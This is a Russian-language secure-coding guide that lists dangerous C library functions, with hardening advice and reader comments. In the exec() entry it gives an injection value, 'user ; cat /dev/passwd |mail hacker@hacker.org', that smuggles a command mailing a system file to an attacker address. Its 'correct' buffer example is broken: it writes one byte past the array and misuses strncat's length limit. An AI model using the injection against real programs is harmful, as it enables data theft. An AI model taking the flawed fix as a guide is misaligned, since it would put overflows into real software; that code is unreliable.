О КОПИРАЙТАХ |
Вся предоставленная на этом сервере информация собрана нами из разных источников. Если Вам кажется, что публикация каких-то документов нарушает чьи-либо авторские права, сообщите нам об этом. |
|
|
|
|
Как избежать проблем безопасности
в своих программах.
Библиотечные функции, которыми
опасно (или наоборот нужно) пользоваться. |
Функция |
Описание возможных проблем |
exec() |
(в! ) Есть опасность
запустить не совсем то, что нужно :) Используйте execl.
execle.
exect
или execv,
c указанием полного пути до запускаемой программы. Если аргументы для функции
формируются из данных принятых от пользователя, эти данные нужно подвергнуть
жесточайшей проверке и удалению всех воспринимаемых системой служебных
символов, иначе пользователь может задать что-нибудь подобное: "user ;
cat /dev/passwd |mail hacker@hacker.org" и таким образом запустить любую
нежелательную команду. Особое внимание следует уделять при вызове этой
функции из CGI программ. |
getenv() |
(п) Возможно переполнение
буфера. При копировании скомпанованной функцией строки, эта строка может
оказаться гораздо большего размера, чем предполагалось. Так же нужно отслеживать
неоднократное объявлением одной и той же переменной среды. Вероятно, что
злоумышленник может попытаться установить переменную среды в недопустимое
или не предполагаемое значение, будьте осторожны. |
gethostbyaddr() |
(п) Функция может
возвратить подтасованную злоумышленником информацию, для полной достоверности
полученную информацию нужно проверить с помощью обратного преобразования.
Возможны попытки переполнения буфера программы осуществляющей анализ возвращаемых
функцией значений. |
gethostbyname() |
(п) см. gethostbyaddr() |
getopt() |
(п) Осторожность
не помешает, следите за соответствием размера возвращаемого значения -
размеру отведенного буфера. |
getpass() |
(в) После вызова
этой функции необходимо скопировать и обнулить введенный пользователем
текст в области памяти функции, для избежания подсматривания или подмены. |
gets() |
(o) Никогда
не используйте ! Пользуйтесь read
и fgets.
В функции отсутствует проверка допустимых границ. |
mkstemp() |
(и) Перед созданием
временного файла, убедитесь в его уникальности. При создании файла используйте
совместно флаги O_EXCL и O_CREATE. Если необходимо воспользоваться уже
существующим файлом, удостоверьтесь что данный файл не является символической
ссылкой, с помощью функции lstat().
Предпочтительно пользоваться функцией mkstemp(). |
mktemp() |
(o) Никогда
не используйте ! см. mkstemp() |
open() |
(в) см. mkstemp() |
popen() |
(в!) см. exec() |
realloc() |
(в) Убедитесь в правильности
использования данной функции, иначе будут сплошные coredump. |
realpath() |
Осторожность не помешает. |
scanf() |
(в) см. gets() |
setgid() |
(и) В случае запуска
программы с root правами, требуется определенная осторожность, если есть
возможность необходимо понизить уровень привилегий. |
setuid() |
(и) см. setgid() |
sprintf() |
(в) Используйте
с большой осторожностью ! Возможно
переполнение буфера. Используйте
snprintf(),
strncat(),
strncat()
или sprintf(newstr,"%.*s",size,str). |
stat() |
(и) см. mkstemp() |
strcat() |
(в) см. sprintf() |
strcpy() |
(в) см. sprintf() |
strncat() |
(в) Не забывайте
особенности работы strncat()
и strncpy().
strncat() всегда добавляет конечный \0, в то время как strncpy(), этого
не делает ! При использовании strncpy, следите за добавлением '\0'. |
strncpy() |
(в) см. strncat() |
syslog() |
(в) Может произойти
переполнение буфера syslog'а, максимальный размер пересылки не должен превышать
1024 байта. Так же важно предусмотреть ограничение интенсивности потока
log данных, что бы не произошло переполнение log файлов. |
system() |
(в!!!!) Лучше
во обще не используйте ! см. exec() |
tempnam() |
(в) см. mkstemp() |
tmpfile() |
(в) см. mkstemp() |
|
Современные компиляторы,например egcs,
позволяют предотвратить использование некоторых опасных приемов.(большую
пользу может оказать директива -Wall) |
Здесь
можно скачать систему для проверки программ на наличие опасных вызовов. |
Набор
макросов позволяющих избежать опасного влияния strcpy,strcat,[v]sprintf. |
о - опасно, лучше не использовать
| п - проверяйте возвращаемые значения | в
-
внимание, требует осторожности | и - желательно
использовать
Как сделать свои программы
безопасными ? |
--> |
Убедитесь в правильности использования функций, представленных в вышеприведенной
таблице "Библиотечные функции, которыми опасно пользоваться". |
--> |
Тщательно проверяйте все аргументы, переданные посредством командной
строки. |
--> |
Не забывайте анализировать коды, возвращаемые системными вызовами. |
--> |
Если какие-либо параметры воспринимаются программой из переменных системного
окружения (environment variable) или других внешних источников доступных
пользователю, то эти параметры должны подвергаться тщательной проверке. |
--> |
Вы должны быть уверены (лишняя проверка никогда не помешает), что всем
буферам вашей программы не грозит переполнение и обращение к этим областям
производится в пределах допустимых границ. Проводите проверку переполнения
границ всякий раз, когда помещайте что-либо в буфер. |
--> |
Перед тем как открыть файл, убедитесь, что он не является символической
ссылкой на уже существующий файл. Используйте флаги O_EXCL и O_CREAT, не
забывайте о существовании функции lstat(). |
--> |
Создавая файл, позаботьтесь о правильности задания прав доступа к этому
файлу. |
--> |
Никогда не создавайте setuid или setgid shell скриптов. Пользуйтесь
setuid или setgid программами только в особых случаях, при отсутствия другого
выхода. |
--> |
Всегда указывайте полный путь до нужного файла, не полагаясь на переменную
среды PATH. |
--> |
Запретите программам генерировать coredump. Для этого воспользуйтесь
системным вызовом setrlimit()
или командой bash "ulimit -Sc 0". |
--> |
Ведите детальный log файл, но не включайте в log информацию полученную
от пользователя, например строку в config файле, где была обнаружена ошибка,
достаточно вывести номер ошибочной строки. Следите за интенсивностью и
объемом поступающих в log данных, что бы избежать переполнения дискового
пространства и буфера системы syslog. |
--> |
Старайтесь сделать критические участки вашей программы как можно проще
и короче. Ярким примером прекрасно реализованного, в плане безопасности,
приложения является система QMAIL. |
--> |
Будьте внимательны с условными операторами. |
--> |
Не забывайте устанавливать ограничения и тайм-ауты, при передаче или
приеме данных по сети. |
--> |
Если ваша программа оперирует с данными идентификации, позаботьтесь
о недоступности этих данных для злоумышленников, активно использующих packet
sniffer'ы. Применяйте шифрование. |
--> |
Не принимайте запрос на соединение с клиентом использующим номер порта
который зарезервирован для серверных приложений (меньше 1024). Например,
злоумышленник может послать фиктивный пакет от сервиса echo.
Замечание от Alex Korchmar: Существует
масса поводов наоборот, не соединяться с незащищенными сервисами (пример
- ssh с форвардингом портов). Это забота человека, настраивающего файрволл,
вовсе ни к чему предвосхищать ее в прикладной программе, сужая область
применения. Злоумышленник, приславший настоящий пакет от имени echo, уже
сидит на этой машине рутом и спасать ее уже поздно. Спуфнутый пакет от
echo слетит по rst. Тот, кто может стравить эхо с чаргеном
- уже серьезно поимел сеть (скорее всего у него есть рутовые права
на машине, озволяющей перехватывать сетевой траффик) и лечить этот
случай бесполезно. Все равно, что тщательно запирать форточки, когда
входную дверь тараном выбили. Известная bounce attack устроена совершенно
иначе. Если речь здесь шла об udp, то про него надо писать много и отдельно. |
--> |
#define BUFFER_SIZE 256
char buffer[BUFFER_SIZE];
[...]
strncat(buffer,some_string,BUFFER_SIZE);
или
strncpy(buffer,some_string,BUFFER_SIZE);
printf("%s",buffer);
Что будет дальше, если some_string длиннее чем BUFFER_SIZE ? Ничего
хорошего.
Нужно делать:
#define BUFFER_SIZE 256
char buffer[BUFFER_SIZE];
[...]
strncat(buffer,some_string,BUFFER_SIZE-1);
или
strncpy(buffer,some_string,BUFFER_SIZE);
buffer[BUFFER_SIZE] = '\0';
printf("%s",buffer);
|
--> |
Временные файлы должны иметь уровень доступа 600 (-rw-------).
Замечание от Alex Korchmar: Не
менее полезно: unlink(fd=open(tmpfile, O_CREATE|O_EXCL, ...));
В этом случае файл появляется в каталоге на доли секунды, вне зависимости
от permissions использовать это трудно. Особенно, если имя подобрано mkstemp.
Программы, работающие таким образом, считаются вполне безопасными. |
--> |
Если программа запускается из под root'а, сбрасывайте привелегии как
можно раньше используя функцию setuid(). |
--> |
Закрывайте файловые дескрипторы, сразу после использования, а не в
конце программы. |
--> |
При использовании фиксированных по размеру буферов, в местах
где употребляется размер этих буферов, применяйте sizeof() или макроопределения,
но не цифровое значение размера (что бы не беспокоиться, если вы измените
размер буфера). Например, вместо some_prog (buffer, 1024); лучше использовать
some_prog (buffer, BUF_SIZE ); или some_prog (buffer, sizeof(buffer));. |
--> |
Продолжение следует...... |
Если вы хотите что-то добавить......
|